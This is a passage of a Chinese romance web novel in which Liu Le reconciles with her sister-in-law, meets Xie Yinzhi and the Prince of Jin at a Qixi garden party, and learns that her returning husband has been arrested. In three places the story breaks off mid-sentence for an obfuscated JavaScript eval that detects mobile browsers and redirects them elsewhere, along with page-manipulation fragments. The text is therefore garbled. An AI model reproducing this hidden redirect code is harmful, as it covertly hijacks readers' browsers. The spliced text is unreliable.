巧莺说:“我们姑娘这会儿身上不爽快,大姑娘再来罢。” 计晴说:“你让我去瞧瞧二嫂,若嫂子赶我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648601|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我就走;若不赶我,我一瞧她保管就好了。” 柳乐连忙走出来,“我已经好了,大姑娘请坐。” 计晴本预备着上前拉住柳乐,听她改了称呼,停下,讪讪说:“嫂子还生气?你不肯看哥哥,也看看我罢。我知道你恼哥哥出门,留你在家,可是我天天和你在一起,咱们还不算好么?你也可怜可怜我,又没个亲姐妹。当初你来家,我和二哥一样高兴,你要是厌弃我,我真不知该如何……”说着眼圈便红了。 柳乐亦心酸,她和小姑挺要好,偶尔婆母对她苛刻,总是计晴替她说话,拿“要是二哥在家”提醒母亲,董素娥也就只好算了。“晴妹妹,你别伤心,我没生气。咱们先前好,以后自然也好,太太要是答应,你还可以去我家里玩。” 计晴愣了一下,急道:“你可别当真。我娘那个人就是说话不太好听,其实她心里并不是那样想。” “我知道太太没有旁的意思,只是我——我的确有许多不到之处。”柳乐勉强笑笑,“又何必说这些,好聚好散罢。” “不是,肯定是娘说了什么。”计晴大哭,“要是哥哥回来不见你,他定然会去找你,你不回来,他也不会再回来了。娘哪能不知道这个利害?她不会说那种话,便是说了,也早后悔了。你别走,我们跟你道歉还不成么。” 巧莺忙去关门,急得说:“计姑娘你好生劝劝我们姑娘,别大声嚷嚷,没事都生出事了。若是误会,解开便罢,别说什么道歉不道歉,我们姑娘也当不起。” 一语提醒了计晴,擦去眼泪笑道:“二嫂,我不懂事,你舍不得骂我,等二哥回来让他教训我,只是你替我求个情,别骂太重,我以后都改。” 柳乐听了巧莺的话也正不好意思,觉得自己反倒不如巧莺明白。当初是因为冲动也好,糊涂也罢,已经和计晨结成了一家人,若这是个错误,如今再负气抽身,却是错上加错。退一步讲,就是真要散,也是等计晨回来,和他先说个明白,哪能像孩子一样任性,只顾自己一时痛快,令计、柳两家人面上难看,心里不好受呢? 这样一想,她惭愧地对计晴说:“是我不对,不该和母亲认真赌气,我去向母亲道个歉。” 计晴忙说:“你也别去,不然娘心里更不好受了,咱们就当没这一回事。我和你说实话,娘刚才就是让我来探探,她说,你二嫂要是不肯理你,你就多提提你二哥,也别提我。我问,娘到底说了什么,她说,我也忘了,我这张嘴,最好是让她也赶紧忘了。嫂子你都忘了罢。——哥哥在信上还说什么了?” 柳乐这才想起计晨的信还在床上丢着,便进去拿出来。 计晴见她还未拆信,性急地说:“你快看看。哥哥说他差事已全部办妥,即刻便返程。信送来得十天吧,那他就已经在路上走了十天了。这样一算,月底前准能到家,这不是比之前说的早一个月?” 原来计晨头一次远行,又记挂新婚妻子,虽身负重任,偷闲也有几封家书回来。除了禀父母的书信,他每次必另外单给柳乐写一封书。他一早就说预计八月下旬可返京,给柳乐的信中还特意说届时将一路快马加鞭,争取与她月下团圆。 柳乐打开信,走到窗边去读。 这封信与以往不同,还是一样工整稳健的笔体,但纸上只落了一句话:“甚念吾妻,归心似箭。” 柳乐愣住。这几个字她曾看到过,不是写出来——禹冲有回在信末一个冲字落款下又信手涂了一支小箭,也不知施了什么法,那箭一看就是嗖嗖飞着,像他走路一样,带一股风。 她心中升起对自己的怒气——难道当真忘不掉他,凭什么她要被一个死人左右?何况那时他亲口说过,说得很清楚:他做了对不住她的事,忘了他,另觅良缘。他负心也好,薄幸也好,就让他去,还有人记挂着她。 她仔细折好纸笺,放回信封中,转过身。 计晴正等得心急,向她面上一觑,笑道:“哥哥也真是,马上都要见面了,还耐烦写这么长的信。他说了什么?” “就是说他要回来的话。走,我娘给了几只鸭蛋,咱们去腌起来,等你二哥回来正好吃。他不是爱吃咸蛋?今年咱们还要自己蒸月饼,我来做馅儿,比外头的馅子好。” 8. 柳乐和音徵 转瞬到了七夕,这一日是谭家老太太过寿。她的一个儿子谭知义任国子监祭酒时,对计晨非常赏识,两家一直走动不绝。本来董素娥是要去,但她偏巧害胸疼,已在床上躺了一天。 柳乐去服侍,董素娥强坐起来,哼哼了几声说:“老毛病了,不碍事,有你大嫂就行,你和晴儿去吧。她老人家只喜欢你们年轻孩子,要不我老早领你去拜见了。这回若不是实在动弹不了——前两天不该出门,伤了气,只好你代晨儿去磕个头,也替我赔个礼。” 柳乐答应了,出来准备。计晴劝她还穿那条绿裙:“二嫂你穿它真好看,今日才是你露脸的时候呢。” 柳乐执意不肯,非但如此,连原先一条绿绸裙也不愿上身;因是给长辈贺寿,就穿了那件金枝绿叶蓝缎裙子,倒也清丽典雅。计晴瞧了便无话说,仍穿新买的樱桃色纱裙,只换了件荷叶绿衫子,更显出几分娇媚。她悄悄对柳乐道:“他们家好玩的。不是正好七夕么,往年在他们家吃完席,女客都不走,姑娘们下午在园子里玩,投壶斗草那些,晚上才最有趣,还要拜织女。” 柳乐到底比计晴大不了多少,仍是爱玩的时候,闻言觉得有趣,又担心董素娥的病,说:“母亲要不要紧,不然我先回来。” “不要紧,你要是丢我一个人在那儿,娘更不放心了。以前都是她和爹先回家,哥哥总要陪他老师还有那些同门谈半日话,晚上伴我一道回。如今娘在家好生休息,你也不用和人应酬,咱两个好好玩一日,回头讲给哥哥听,他肯定羡慕。” 计晴如此说,柳乐也就安下心。出嫁前的两年,她几乎没怎么出过家门,嫁来后,陪董素娥拜过几次客,无非是太太奶奶们坐在屋里说话,虽不致十分拘谨,却实在没意思,因此她早就盼着能和年轻姑娘们畅快玩一回。 谭家老太太身体硬朗,喜欢说笑,还时常进宫陪太皇太后叙话;她两个儿子都在京里做官,二儿子又有很多学生,因此来拜寿的人络绎不绝,宴会热闹非常。 柳乐和计晴进屋磕了头,老太太忙招呼她们在身边坐下,向柳乐看了又看,点头说:“计晨那孩子该打,真沉得住气,把个宝贝媳妇藏这么严实。”又对计晴笑道,“如意了吧,得了这么个好嫂子?”计晴抿着嘴只管笑。老太太又问计晨何时回来,说了一阵才放走,要她们“去小园子里耍耍。” 因亲友众多,谭家设了流水席,孙辈几人并媳妇们分别陪男女宾客宴饮。席上的果菜十分精美,但究竟谁也不认真为吃饭才来,柳乐二人不过略坐一坐应个景,便下席更衣盥手,往花园去逛。 这花园实在不算小,湖石花木、亭台轩榭,好不清雅。计晴悄悄告诉柳乐京里出名的几处花园:“这也是一个,还有先皇题的字。” 柳乐左看看右瞧瞧,不禁想要是家里也有一间大园子,爹娘该多喜欢。 “盖这样的园子要不少钱吧。”她问。 “咱们家可别想,娘不答应。”计晴拧着眉说,“一没有这么大的地方;二来搬这些山石,还有盖亭子可费钱。大概要……一万两吧。”她信口说道。 “一万两。”柳乐叹一声,可是心里已着起了一小团火苗。别家的园子也不是地里长出来的,只要有本事,自然能设法把日子过好,她暗自琢磨。 “你要是喜欢,告诉二哥,他一说准成。”计晴轻轻一推柳乐。“几块石头、几盆花能值多少,主要还是缺这一片地方。眼看二哥要发达了,他肯定愿意让你住在有大花园的房子里,咱们把隔壁屋子买下来不就有了。我就要间小屋,前头种白牡丹,再搭个秋千架,等我回来住上一半日便知足了。” “从哪回来?”谭家一位姑娘谭若金忽地从山子后往外一跳,抓住计晴,“好不害臊,让我听听,到底是从哪儿回来。” 计晴没提防说错了话,脸羞得红布似的。“少胡说,我们在这儿羡慕你家园子呢。” “不用羡慕,你想天天住也行。”谭若金拖着腔,意味深长道。 “今天客人真多。”计晴把话岔开。 “谢五姑娘也来了。” “在哪儿?”计晴立即四望。 柳乐仿佛看见池塘边有个红艳艳的身影一闪——她总觉得谢五姑娘穿红。 “早走了,她没停留。”谭若金说,“不过她姐姐在,就是都御史夫人,待会儿她可能过来。” “哦。”计晴干干应了一声。但柳乐立即忘了见不着谢五姑娘的遗憾,巴望着见一见谢家昔日的二姑娘。 她早就从计晴口里听说了谢家二姑娘的故事:太后的侄女,曾与晋王爷定过婚约,婚约取消后,谢二姑娘作为续弦嫁给了都察院御史黄通——虽然计晴眼里黄御史已经算是半个老头子,其实他只三十多岁,是都中最年轻的三品官员,一般人都认为他前途不可限量。 柳乐并非在意这些。她一是仰慕谢姑娘的美貌和才华,二是因为谢姑娘只比她早成亲几个月,而且……反正她觉得两人会谈得来。 谭若金说不了几句话就急着走,“我母亲叫我。你们千万待到晚上,那时候咱们好好玩。”她嘱咐道。 谭家老太太有个得意的孙媳妇,叫做杨敏,性子非常活泼、善戏谑。谭家设宴待客时,她总是陪姑娘和年轻奶奶们谈天。姑娘们无论自己爱不爱说笑,没有人不喜欢她的。 柳乐和计晴把整个园子转完一遍,就见杨敏伴着一位身形苗条的女郎进来花园。 “那个就是谢二姑娘?”柳乐瞧了一眼,几乎有些失望。细看去,谢二姑娘长得的确美,远山眉,寒波目,脸上有几分谢五姑娘的影子——可非得细看才行。这时她穿一身藕荷色的对襟衫,软黄裙子,温温柔柔的颜色,但是一点儿都不起眼。 杨敏和她在一只亭子里坐下,柳乐等人都上去招呼问好。 柳乐是初见,杨敏为她们介绍了。不知为何,柳乐觉得很难称她谢夫人,便唤了一声:“谢姐姐。” 谢家姑娘眼睛里笑了一下:“柳妹妹。” 与众人问候毕,谢二姑娘重新坐下,向柳乐望一眼,不动声色向旁边让了让。坐在那儿成了件再寻常不过、又令人喜悦的事,柳乐去坐了,隐隐感到羞涩、得意。 她突然看明白了谢二姑娘的美:她根本不在乎自己美不美,却在意自己是不是“好”,并好强地希望别人注意到,又轻视瞧不出的人。纵然心中含着忧伤,那一瞬间如阳光刺破雾霭,她的眼睛分明地说:“我见你就像见到二月的青草地一般欢喜,我知你亦然。” 柳乐亦然。 叙了几句闲话,谢二姑娘对杨敏道:“今天你们是忙上加忙,不用陪我,我愿意自己坐一会儿。” 杨敏也不多客套,起身说:“我知道,连你要走时也不必来说,和以前一样,不论规矩。” 姑娘们各自找相熟的玩伴去了,亭中只剩谢二姑娘和柳乐两个人。谢二慢慢捧起茶杯,呷一口说:“我小时候常来玩,就在这个园子。” “我还是第一次来。” “那你是愿意去转转吧,我不该拉你陪我。”谢二姑娘抱歉地说。 “我倒是转过了,不过姐姐先安静歇歇,我再去那边瞧瞧去,等下再来。”柳乐恐怕刚才是会错了她的意思,急忙就要站起身。 谢二姑娘拉住她,“你要是不着急去玩,先陪我说说话,其实我不愿一个人,又不想好多人,两个人就正好。” 柳乐便又坐下,谢二姑娘看着她,郑重道:“你肯不肯告诉我你叫什么名字?” 除了很近的亲友,女子闺名一般不示于外人,无论男女。谢二姑娘和她才是初见,这个要求很奇怪,但柳乐只觉得快活。“有什么不肯?”她笑了,“我单名一个乐字。” “月亮的月?” “不是,乐曲的乐。” “呀,柳乐,更好了。”谢二姑娘不知为何很高兴,又打量了柳乐几眼,“你一定是春天生的吧。” “倒不算,我是四月初的生日,到孟夏了。” “真巧,我也是生在四月初。”谢二姑娘的笑声如珠子般圆柔动听,“‘孟夏之月……其音徵。’我叫谢音徵,读‘筝’音是为好听。你瞧,咱们生日很近,名字的意思也近。” 柳乐猜测谢二姑娘比自己大不了许多,她看起来也的确非常年轻,几乎还像个待字的少女,可她身上又有一种自信、沉静、高雅不凡的态度,不光在少女中少见——柳乐知道,自己也是远远不能企及。柳乐不由非常羡慕谢音徵,听见说两人名字、生日相近的话,高兴得双目闪亮:“真的!” 但她马上又变得谦虚了,说道:“姐姐正该叫这样的名字,可我对音律一窍不通,不懂乐器,不敢和姐姐比。” “谁还敢说自己懂,没事的时候拨弄几下罢了。那也是先前,如今这一年我都没碰过它们了。” “为何?”柳乐不解。 “家夫不喜乐器,家里也没人有耐烦听。” “怎会不喜欢,一定是衙门里公务冗繁,难得闲情。像我,虽有闲情,可惜不会,只要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢音徵又说:“他们不过给了我一个名字。我与谢家的关系,大概就只剩这么一些了。” 猜测别人的私事很不礼貌,更不应当再多问,柳乐正想岔开话,谢音徵又扭头对她笑起来,道歉说:“今日我很高兴,怎么总对你说那些扫兴的事,实在不该。我刚才的意思不是弹琴不好,我喜欢琴,弹琴也是下过苦功的。——你摸摸。”她伸出左手给柳乐。 柳乐轻轻抓住这只纤长的手,它比看起来要更有劲。她摸到谢音徵指腹上的薄茧,钦佩道:“谢姐姐果然是真功夫。” 谢音徵笑道:“现在薄了些,先前还要更厚。”她看着自己的一双手,用力把五根手指张开,“从小我就学各种乐器,别人都夸我,我心里也不是不高兴。不过,就我自己来说,若只为高兴,我宁可去做旁的事。——若能由我,我愿意有事业可作。不是说那种轰轰烈烈、能传世的大事业,不拘是什么,只要是一桩真正的事情。音乐能打动人,但我那样的不行,琴也好箫也好,由我弹奏,只是给大家提供些可有可无的消遣罢了——封嬷嬷说得不好听,但也有点儿对,是‘靡靡之音’。我想做能为人带来益处的事——哪怕只是一两个人。” 柳乐看着谢音徵把手指收紧成拳,豁然开朗地想:世上没有弱而美的事物,原来一样东西美,它一定有力。 她对谢音徵的敬爱又增一层。 “你恐怕在想我是说大话吧?”谢音徵突然问,带着一种调皮的神气看着柳乐。 “没有。我正想向姐姐请教……” “没什么可请教的,我确实是说大话。”谢音徵计谋得逞般笑起来,引得柳乐也一齐笑了。 两个人笑了半日方住,谢音徵说:“好了,现在你又欢喜了。你该欢欢喜喜的,我一看见你就想,这个妹妹笑起来才美呢。” 柳乐害羞地垂下头,暗想:她指的不是谈话中,是一看见我,她看出什么了?我看她心中含忧,莫非她看我也是如此? 谢音徵又说:“前头我说那大话——做姑娘时,我确实是那般想的,不过自从……我就发现只是些空想。”她踌躇了一小阵,很快便坚定地说下去,“在我虽是空想,但我说的那些事,不单指我去做——不管谁做到了,我都高兴。今日我这么高兴,便是因为一位朋友,先前他也常来这儿。本来他……本来他什么也做不了,空有一身本事,却无法施展。他那样一个人,若自己知道,或许恨不得干脆死了也罢。想起来,我便为他难受。可如今——我把死字说得太轻易,还是活着好,如今,他又可以做许多的事,因此我高兴。” 她飞快地垂下眼睛,柳乐只看见她眼中星星也似亮晶晶的一闪,忽然醒悟:她是在说晋王爷。 可惜那位王爷根本配不上她,一百个配不上。 对待友人,她纯粹、真挚、一心一意,使人动容,可偏是这样一位朋友,又令人替她不值。 为这个不值,柳乐险些要掉下泪。 9. 月亮和纺锤 一个丫环跑入亭子说:“夫人,前头传话过来,老爷要回去了。” “就来。”谢音徵跳起身,向柳乐告别,“回头再见,柳妹妹。待会儿看见谭夫人,替我说一声。” 柳乐连忙答应,看主仆二人步履匆匆出花园去了。 她忽然觉得怪没意思,闷闷在亭中坐了一会儿,不由又向谢音徵离开的方向望去,正好见到一群人穿过小小的月洞门。 她十分诧异:那位穿着宽袖紫袍的白发老人显然是谭家老太爷,晋王相隔一步立在他身后,旁边站着谭家两位老爷和几名管事家人。只见晋王低头不知说了什么,老太爷笑了一阵,又向儿子说了几句话,叫人扶着出去了,晋王则由两位老爷引着,直往园子走来。 柳乐想起计晴说过谭老太爷是晋王的老师,那他当然要来为师母贺寿。不过男客们都在前头书房谈话,独他一人来了花园。 好在他们没朝这边走,柳乐便坐着不动,看他们慢慢步出回廊,沿着水边柳荫小道,一径向涵玉台方位而去——正有许多人在那边玩耍。路上也有三两位姑娘无处避让,低着脸上前见礼。晋王每次都停下脚,躬身回礼,那副谦逊之态与几日前在行宫见到时判若两人。 柳乐将目光掉开。 过了约莫两刻钟,脚步声响,是计晴跑了来,问道:“谢夫人走了?什么时候走的?” “走了一会儿了。” “这么说她没见着……” 柳乐摇摇头,站起身,“咱们射箭去。” “我刚从那边过来,已经散了。” “这就散了,还没等我试一把呢。”柳乐满心遗憾。 “刚才你不去,被赵姑娘赢了,好出了一场风头,连王爷都瞧见了,然后谁还有心思再玩。”计晴顿住,又问,“刚才晋王爷进来,你怎么没去看看?” “有什么好看,他是神仙下凡不成?” 她们姑嫂两个说话向来随便,这时见周围无人,计晴笑道:“不止下凡,还是故地重游来了。我听谭家老爷的意思,晋王爷先前常来这里,这次大概是为了试试看能不能想起过去的事。” “原来是触景生情的意思么,那也该另挑个时候。”柳乐低声说。谢音徵前脚刚走,他后脚就进来,显然谭家人也怕他们见面尴尬。无论如何,她觉得晋王今日不该进这园子,方合礼数。 计晴好奇地琢磨:“你说他知不知道谢二姑娘今天也过来,或者是……” “管他呢,和咱们又不相干。还有什么好玩的?” “没了,等着晚上玩吧,咱们去找她们说说话去。” 计晴说得没错,对年轻姑娘们来说,谭家这一日,到了晚上才最热闹。 天刚刚暗下来,花园里已点上了数十盏彩灯,姑娘们像张着翅的彩蝶在灯影下飘来飘去,渐渐地都聚拢在杨敏周围。 杨敏张罗着大家吃巧果、玩游戏,姑娘们嘻嘻哈哈笑闹,其实每个人都羞涩得紧,为了掩饰羞涩,反更起劲地去打趣别人。 柳乐吃了几个果子,和人说笑几句,看着预备要拜织女了,她悄悄站起身,想要独自一个去走走。 她顺着绕塘一周的长廊缓步而行。身后姑娘们的欢声笑语、足畔虫儿清扬的鸣叫,这些声音犹使夜晚显得安宁、甜蜜。但柳乐心中并非这般安宁、甜蜜:她不能像那群兴致勃勃的姑娘一样快活,可也没道理伤悲,夜色在她心中激起的是一种说不出的感觉。她不由又想起了谢音徵,“她和我一样,我们很难忘记人。”她默默地对自己说。 一直走到池塘另一边,柳乐止步站住,举目望向天空。这时的月亮正像只圆背梳子,不知是不是已在哪里梳了几下,梳得夜风清凉如水。 她低下头,半枚亮闪闪的圆镜在水中轻轻晃动。 有人轻声说:“你也觉得此处适合赏月?” 柳乐结结实实吓了一大跳。蹦过身看时,黑黢黢的树影中站出一个人。 她本以为是谭家的人,定睛一瞧,却是晋王,更觉对方无礼——一般也是个客人,明知园子里都是女客,他偷偷一个躲在这里不知是何用意。 “你不是早该走了么?”她冲口想问,可毕竟不好批评别人的为宾为主之道,硬生生咽了回去。 “民妇不知殿下在这儿,冲撞了。” “无事。”晋王大度地摆摆手,神情比主人还像主人。“我原是存着小心,有意避开客人们,以为彼此好相安无事。我倒是忘了,来客这么多,难保不碰上几个爱乱跑的。” “实在对不住,殿下在这儿回忆前事,民妇多扰了。”柳乐转身要走。 “等等。”晋王从后面唤,“我有事想请教。” 柳乐听他声音焦急,到底顿住脚,说:“殿下要我去请主人过来?” “不,我是想问你。” “民妇只是来做客,恐怕帮不了殿下。”柳乐一边说一边暗悔自己不该往这边来,偏偏碰上晋王,此处又是幽静昏暗,要是叫人看见,尴尬得很。晋王心中无大礼,她亦用不着和他讲小节,还是走了是。 “帮得了。你我都是来客,咱们一样,我正想问个和我一样的人,岂可当面错过?——别急别急,我真要问你,我不是为回忆前事,那是随口诓人的,我是为……”晋王说着一迈步,挡了柳乐去路,深深看她一眼,笑道,“正好问问你,你可喜欢这一处景?”少停,他解释说,“我最近正翻修家里的花园,不免到处看一看,琢磨琢磨,好扬长避短。不光要看日头下,还要考虑风时、雨时、雪时。这些还好,已被人想得多了,唯独夜晚,还有可探究处。比如这月亮,从升起到落下,须得有东西衬它——树梢、屋檐、塔尖——不好要月儿孤孤零零。及至它升上天空,又要操心它映在哪儿,月光洒在哪儿,影的深浅、远近,那就更说不完了。” 柳乐听这话觉得怪新鲜,瞧他也不像瞎扯,可能做了王爷才有这么宽的闲心思,外加那么大的花园子去摆弄这些。 晋王认真道:“自家的园子,夜景自然极为重要。白日里我转着看了几处,就等着晚上瞧瞧。本来要绕着转一圈,不过客人们都在那儿,不便过去。你替我瞧了也行,那边的夜景比起白日如何?” “夜晚和白天当然是不一样的景致,两样都好。”柳乐说。 晋王摇摇头:“太敷衍了,你没留意看。” “恕我眼力不好,瞧不出来。” “很简单,你要是喜欢,就会多想想。”晋王说,“比方,你看月亮美不美,想不想要?我有办法给你。” “不想。”柳乐说。 “你看它太遥不可及?——我看不,只要费点心思,设计一下,我想要它在哪儿,它就在哪儿,掬在手里也不是不可以。”他抬手,拢起手指把月亮圈住。 柳乐轻轻一嗤:“我看自自然然就好,再费心思,只不过得个月亮的影儿罢了。” “说得对。谁能霸住天上的月亮?我所求不过它在地上的一片影子。”晋王侧侧身,不知拿件什么小东西向水里投去,把荡荡悠悠的半片月亮打碎了。他目不转睛盯着碎片,“虚妄吗?你以为实实在在的肉身,不过也是一样。” 柳乐没兴趣听他参禅,“殿下,民妇告辞。” “还回客人们那边?”晋王并没拦她。 柳乐点点头,顺着来路快步走去。 杨敏不知又带大家做什么游戏,只听她说:“专心点,别想出个丑八怪的样子。” “哎呀不好,这么一说,我脑子里只有丑八怪了。”一个姑娘叫道。 姑娘们围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14648603|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐成一圈,笑声结成一个更大的圈,水波一样荡漾出来,飞进柳乐耳中,又飞出去。她想:这人倒一点也不丑,可他真怪啊,什么拿下来月亮,什么日景、夜景。不过日夜看东西的确不同,晚上看他竟比白日还更好看了,怎么回事,是不是他的眼睛显得特别深,又亮。哎呀,我乱想什么呢。 一个骨碌碌的东西滚至她脚边。几个人一齐喊道:“立住,别动!” 柳乐不知何意,去看时,原是一只纺锤。 杨敏已经两步跑了来,低头一瞧,拍手笑道:“原来是你得了!” “得什么?” 杨敏蹲身把纺锤拾起,手臂直直的,保持着纺锤在地上时的样子,展示给众人,“看,涂红的一头正正对着她。”她扭头对柳乐说,“我们把纺锤缠了线挂在树上,等线跑完它停下时,红色一头指着谁,谁就能得如意郎君。” 柳乐一下羞红了脸:“我才过来不知道,这回不能算,你们重新来一次。” “怎么不算,织女娘娘灵验得很,只不过已经佑你得了如意郎君。还不快谢她,马上还要让你们夫妻团圆呢。”杨敏比出两根食指,在柳乐面前碰了几碰,一脸笑意地说,“我听说——二人重逢近在眼前了。” 忽然,她煞住嘴,旁边的笑谑声也都停歇了。柳乐顺着杨敏的目光看去,晋王正向人群走来。 姑娘们慌忙都起身行礼,晋王急忙作揖说:“不必多礼。我也在园中游玩,怕扰了诸位玩兴,不敢过来。现下我正要离开,恐悄悄去了不恭,特来向诸位告辞。” 大家听他也在花园内,岂不是一直看见她们玩闹、听见她们说话?若是别个,姑娘们脸上早写满“讨嫌”二字了,此时她们却纷纷红了脸。虽说嘴巴都不出声,可安静也并不是真的安静——要是能听到姑娘心里,这时候正像养蜂人刚刚提到田野、还没打开的蜂箱一样,嗡嗡个不住。 心里面既是撞来撞去,身外头也没法稳稳当当,不知谁碰了计晴一下,她鬓边一枝月下香掉落下来。 计晴碰巧站在离晋王最近的地方,晋王眼疾手快,抢前一步弯臂接住花,托在手中,送回计晴面前。 计晴好像给人定在原地,呆呆怔怔,忘了伸手去接。 晋王又对她笑一下,“计姑娘。” 计晴这才醒过神,小心地把花朵拿在手里:“多谢殿下。” “暂且别过。”晋王对她说,再向杨敏稍稍偏偏头,眼睫微微一抬,又落下——这一抬一落便将其他所有人包含在内,接着他后退一步,躬身一揖,转身走了。 这回姑娘们彻底安静下来。站了一会儿,谁先小声说了句要回家,于是众人都说散了罢。杨敏还要让大家去吃果子,也无人响应,便散了。 送客时,谭若金悄悄问计晴:“你认得晋王爷?” “认得——不,”计晴稍点了一下头,随即连连摇晃,脸都摇红了,“不算认得。” “他怎么认得你?” “我不知道。是不是你家里人告诉的。” 谭若金瞅着她笑:“我去问问,是不是王爷打听你来着?” “别问!怎么会?” “那你别管。”谭若金一笑跑了。 计晴急得顿足,上了车还坐不安,忽地过来柳乐旁边,抓住她胳膊:“今天好玩吧?” “好玩。” “特别是你得了纺锤,你说怎么这么巧?” “还说呢,就是那个不好。有我什么事,你们玩得好好的,我要是不过去就好了。”柳乐懊恼地说。虽然玩闹当不得真,她还是觉得自己扰了姑娘们的兴头。 “不行,非得你去。杨姐姐说得没错,你和二哥,这才叫灵验呢。”计晴咯咯地轻声笑,“等哥哥一回来,我就告诉他。” 10. 归家和城门 过了七月半,计家便数着日子等计晨归家了。家里没别的事,娘几个在一处给他做衣裳,走几针董素娥就停下问:“不知走到哪里了?怎不再来个信,好准备着。” 终于,七月二十五日收到一封短笺,已是从彭城发出的。董素娥问过丈夫又问大儿子,将路程核了几遍,算准计晨二十八下午到家。 二十八这天,董素娥一早就吩咐厨子预备下酒肉菜蔬,要为计晨接风。申时过了两刻,还不见儿子进门,她有些坐不住,唤柳乐来陪她一起等着。柳乐安静,她也跟着安宁了片刻,不一会儿又埋怨:“是不是算错了,要到明日一早?都到家门了,还不快跑几步,唉,你两个都不是急性子。” 柳乐说:“母亲莫急,晨大哥在公事上是急性子,恐怕他要先销了差才能安心。可能他到了看天早,便往衙门交代去了。”想想她蹙了眉,“怎么不见贵朴他们回家报个信?再不然就是碰见朋友,请他去吃饭,那两个嘴馋的吃酒给吃忘了。” 她又想,衙门里那些人都知道计晨在外半年,不会这样没眼色,家都不让回,硬拉他去吃酒,或许计晨是进宫去了。当初皇帝下旨委任,命他立即出发,足见事情重要,他回来自然要先面圣,复了命才好归宅。两个小厮大概在宫门口候着,也不敢乱走动。只是皇帝留他谈了这么久,不知是对他满意不满意。他写信倒没多说公事,应该并没有差错吧。 柳乐一边心中胡乱猜测,一边嘴上宽慰着婆母。董素娥实在候不及,差家人添福去衙门问问。 添福这一去,半个时辰不见回来,计衔山和计春先已下值到家了,见不开饭,都去书房坐着。柳乐自己也觉得肚饿,只怕董素娥更撑不住,悄悄吩咐厨房热了简单的饭菜,往书房送了,又请来高娴计晴,好容易劝董素娥坐下,刚吃两口,就见添福上气不接下气跑进屋说:“不好了,二爷被人抓了去。” 柳乐和董素娥一下子站起来,“谁抓他?” 来福慌慌张张答道:“还没探明白。我去二爷衙门上一问,都说不知他今日到家。我正要回来,半路碰上原先住在隔壁的刘万顺,他说去乡下看田地,刚打北门进城,看见那里有官兵拦下了几个人带走,像是咱们二爷。我一听,又赶紧跑去北城门,守门的差官不肯说,我身上也没多带银子,还是门口摆摊的货郎告诉说,一早就有十来个差人在那儿了,也没盘查过谁,不知怎的,有几个人刚进城,就被他们强拉上一辆马车,几匹马也全带了走,就一眨眼的工夫,只看清是三个人,斯斯文文的,不像匪类,这说的莫不就是二爷还有贵朴贵实他们两个?太太赶紧让大爷再去问问看吧。” 这一下如晴天霹雳,董素娥吓得全没了主意,柳乐本还报一线希望是计晨的上司在城门接他,可听描述又完全不可能。 计衔山和计春听见动静都跑来了,添福将前后再说一遍。董素娥不停打断他,一时向计春说:“刘万顺算什么东西,你还找你借过银子不是?他下乡卖田地灌了一肚子黄汤,拉扯咱们!”一时问计衔山,“晨儿定是由北门进城来?”一时又自语,“货郎是看错了,他又不认得晨儿,贵朴贵实两个小猢狲,哪里算得上斯斯文文,说的不是他们。” 计春劝住父母:“你们莫急,我去问问。”急忙让人牵马。这里几个人捱一刻如三秋地等着,过了九个秋,计春仍是独身回来,说各处衙门俱挂上了锁头,只好等明日一早再问。 董素娥不顾两个媳妇都在跟前,大骂计春不济事。柳乐劝了两句便出来,想带话给哥哥柳图,要他也帮着打听,又怕爹娘听见受惊吓,正在犹豫间,丫环来报:“柳大舅爷来了。” 柳乐忙到前面去,见了哥哥顾不上叙礼,直问道:“哥哥你听见了,究竟是怎么一回事?” 柳图亦是满面惊疑:“我听人说了一句,没头没尾的,才来问问你。计晨是今日回来?你没见到他?” “没有,他信里说今日到家,等了一天,这时还没见人。我们只听见他可能是在北城门被不知哪个衙门的差人带了去。”柳乐拣紧要的几句话对哥哥说了。 “他信里再没提别的话?” “没有,就两行字,说他快要抵京。先前的信也都是寻常家书。” 柳图皱眉思索:“计晨一向做事小心,不可能是得罪了人吧?” 柳乐摇摇头:“我觉得不可能,晨大哥肯定也没做坏事。” “那是一定。”柳图考虑一番,“事情有些蹊跷,还是早点搞清楚好。我认识个人,他和刑部尚书吴大人府上一个买办相熟,买办又识得吴大人身边的僮仆——你别看这些小门路,能打听出的并不少。我这就去问问看。” 柳乐吃了一惊:“刑部尚书?难道晨大哥犯了案?什么案子,怎要刑部的大人过问,晨大哥他……” “所以我说里头有蹊跷。”柳图小声说,“妹妹你想,妹夫他一个五品官员,圣上钦点的差事,就是府尹要拿他,也得掂量掂量,不是轻易拿得动。何况是在城门口,又做得神不知鬼不觉,让我们不得一点儿消息。” 柳乐冷笑道:“若明日还没消息,我就去衙门告状,说晨大哥光天化日被人绑了。连个由头都没有就抓了人去,还不知是谁抓的,抓去了哪儿,这不是强盗是什么?我就不信还没有王法了!” “妹妹你别急。”柳图急忙劝她,“八成是一场误会,明日就一定见分晓了。放宽心,不是还有计大人吗,他总有办法。好,我这就去了,先不去拜见计大人了,若他问起,你说我明天再来一并告罪。” “可千万别让爹知道。”柳乐叮嘱。她对计晨倒还不很担心,只怕父亲骤然又听见他的另一个学生也……这打击一定不小。 